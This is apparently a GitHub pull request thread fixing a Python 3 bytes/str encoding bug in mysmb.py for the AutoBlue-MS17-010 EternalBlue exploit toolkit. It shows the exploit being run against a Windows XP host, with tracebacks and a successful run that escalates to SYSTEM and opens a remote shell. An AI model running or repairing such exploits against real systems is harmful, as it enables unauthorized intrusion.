Fix mysmb.py

[opabravo]

Fix TypeError: descriptor 'encode' for 'str' objects doesn't apply to a 'bytes' object

Machine Info

OS Name: Microsoft Windows XP Professional
OS Version: 5.1.2600 Service Pack 3 Build 2600
System type: X86-based PC

Error output

┌──(venv-py3.8)─(xxx㉿fsociety)-[/opt/sectools/CVE/AutoBlue-MS17-010]
└─$ python zzz_exploit.py legacy -pipe browser
[*] Target OS: Windows 5.1
[+] Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
Traceback (most recent call last):
  File "zzz_exploit.py", line 1112, in <module>
    main()
  File "zzz_exploit.py", line 1109, in main
    exploit(options.target_ip, int(options.port), username, password, options.pipe, options.share, options.mode)
  File "zzz_exploit.py", line 980, in exploit
    if not info['method'](conn, pipe_name, info):
  File "zzz_exploit.py", line 617, in exploit_fish_barrel
    conn.send_trans_secondary(mid=info['fid'], data=b'\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
  File "/opt/sectools/CVE/AutoBlue-MS17-010/mysmb.py", line 315, in send_trans_secondary
    self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
  File "/opt/sectools/CVE/AutoBlue-MS17-010/mysmb.py", line 311, in create_trans_secondary_packet
    _put_trans_data(transCmd, param, data, noPad)
  File "/opt/sectools/CVE/AutoBlue-MS17-010/mysmb.py", line 89, in _put_trans_data
    transData += (b'\x00' * padLen) + str.encode(data)
TypeError: descriptor 'encode' for 'str' objects doesn't apply to a 'bytes' object

[3ndG4me]

This looks good, but still need to test it. Just updating the issue to let ya know it is on my radar!

[0xSH4RKS]

Tested this fix, working on kali-2024.1

┌──(kali㉿kali)-[~/tools/AutoBlue-MS17-010]
└─$ python3 zzz_exploit.py 10.101.8.31                 
[*] Target OS: Windows 5.1
[+] Found pipe 'browser'
[+] Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
Traceback (most recent call last):
  File "/home/kali/tools/AutoBlue-MS17-010/zzz_exploit.py", line 1112, in <module>
    main()
  File "/home/kali/tools/AutoBlue-MS17-010/zzz_exploit.py", line 1109, in main
    exploit(options.target_ip, int(options.port), username, password, options.pipe, options.share, options.mode)
  File "/home/kali/tools/AutoBlue-MS17-010/zzz_exploit.py", line 980, in exploit
    if not info['method'](conn, pipe_name, info):
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/tools/AutoBlue-MS17-010/zzz_exploit.py", line 617, in exploit_fish_barrel
    conn.send_trans_secondary(mid=info['fid'], data=b'\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
  File "/home/kali/tools/AutoBlue-MS17-010/mysmb.py", line 315, in send_trans_secondary
    self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/tools/AutoBlue-MS17-010/mysmb.py", line 311, in create_trans_secondary_packet
    _put_trans_data(transCmd, param, data, noPad)
  File "/home/kali/tools/AutoBlue-MS17-010/mysmb.py", line 89, in _put_trans_data
    transData += (b'\x00' * padLen) + str.encode(data)
                                      ^^^^^^^^^^^^^^^^
TypeError: descriptor 'encode' for 'str' objects doesn't apply to a 'bytes' object

──(kali㉿kali)-[~/tools/AutoBlue-MS17-010]
└─$ python3 zzz_exploit.py 10.101.8.31
[*] Target OS: Windows 5.1
[+] Found pipe 'browser'
[+] Using named pipe: browser
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x87c04da8
SESSION: 0xe1307720
FLINK: 0x16bd48
InData: 0x16ae28
MID: 0xa
TRANS1: 0x168b50
TRANS2: 0x16ac90
modify transaction struct for arbitrary read/write
[*] make this SMB session to be SYSTEM
[+] current TOKEN addr: 0xe2990380
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe2990420
[*] overwriting token UserAndGroups
[*] have fun with the system smb session!
[!] Dropping a semi-interactive shell (remember to escape special chars with ^) 
[!] Executing interactive programs will hang shell!
C:\Windows\system32>